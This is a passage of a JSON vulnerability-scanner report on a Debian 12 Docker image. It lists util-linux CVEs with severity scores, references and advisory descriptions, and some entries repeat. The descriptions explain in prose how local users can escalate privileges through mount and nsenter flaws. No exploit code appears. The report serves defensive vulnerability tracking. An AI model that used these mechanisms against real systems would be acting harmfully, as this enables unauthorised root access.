"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- 